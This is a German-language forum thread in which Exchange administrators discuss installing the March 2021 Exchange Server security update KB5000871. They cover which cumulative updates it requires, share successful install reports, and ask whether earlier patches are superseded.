Ich geb mir selber die Antwort: https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901 hier steht, dass man erst CU19 installieren muss, da nur für die letzten zwei CUs die Updates angeboten werden.
Grundsätzlich interpretiere ich das auch so, aber ganz eindeutig ist leider nicht formuliert.
Richtig, und das ist schon ziemlich lange so. Denn die Updates haben ja auch nur die jeweils gültigen CUs im Namen, also kann man da kaum viel missverstehen.
Musst doch nur bis nächste Woche durchhalten mit dem CU19. Dann kommt vermutlich CU20 und hat hoffentlich den Fix dafür.
Also auf unseren Testservern lief die Installation sauber durch.
Doofe Frage, ich weiß, aber ich bin noch nicht solange EXAdmin. Wo finde ich die Changelogs. Also was in dem Patch konkret an welchen Komponenten verändert wird und wo ich ggf. was sichern muss?
Du kannst versuchen, die durch die von MS angebotenen Infos zu wühlen. Erwarte aber nicht zuviel. ;)
https://support.microsoft.com/de-de/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b
Im Idealfall ziehst du dir vorher ein Backup und drückst dir die Daumen, denn einzelne Komponenten helfen dir bei Fehlschlag eher wenig weiter. Ich hab das Ding heute auf diversen Serversystemen installiert, und bisher alles im grünen Bereich.
Exchange 2019 CU7 in DAG via WSUS installiert –> Keine Probleme
Exchange 2016 CU18 ohne DAG via SetupFile installiert –> Keine Probleme
Exchange 2016 CU19 kein DAG per WSUS auch gerade reibungslos durchgelaufen.
Exchange 2019 Cu8 über WinUpdate auf S2019 ohne DAG ohne Probleme installiert.
Keine Probleme bisher.
Danke für die Info!
Exchange 2016 CU19, Patch wurde sauber installiert.
Hast du das letzte Security Update KB4602269 auch installiert? Ich habe es vorerst ausgesetzt, da ich aufs neue CU warten wollte. Jetzt kommen aber diese neue fixes um die Ecke, welche weitaus höhere Prio haben.
Allgemeine Frage in die Runde: Kann man die Sicherheitsupdates unabhängig voneinander installieren oder bauen die irgendwie aufeinander auf?
Danke schon mal.
Hallo Carsten,
meiner Meinung nach sind diese enthalten, da sie sich gegenseitig ersetzen.
https://www.frankysweb.de/community/exchange2013/nach-cu-update-die-sicherheitsupdates/
Ist das so schwer, sich einfach mal die passenden Artikel durchzulesen (bis zum Ende?)
https://support.microsoft.com/de-de/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b
Security update replacement information
This security update replaces the following previously released updates:
Description of the security update for Microsoft Exchange Server 2019 and 2016: February 9, 2021
Jo, das beantwortet meine Frage. Auch wenn weniger Aggressivität wünschenswert wäre. So für das sozial Umfeld ;)
Sorry, wenn das etwas zu harsch rüberkam. Aber ernsthaft, alle Links vorhanden, man müsste es nur mal eben lesen. Stattdessen wartet man lieber darauf, dass irgendwer die Frage liest und beantwortet. Abgesehen davon steht das eigentlich immer in den MS Patchinfos drin. Ist also nichts erstmaliges. Immerhin ist das hier ja dann doch auch schon sehr fachspezifisch, so dass man eigentlich davon ausgehen kann, sowas zu tun.
Nichts für Ungut, alle Unklarheiten beseitigt und alle tun was für die Sicherheit. ;)
Schönen Tag noch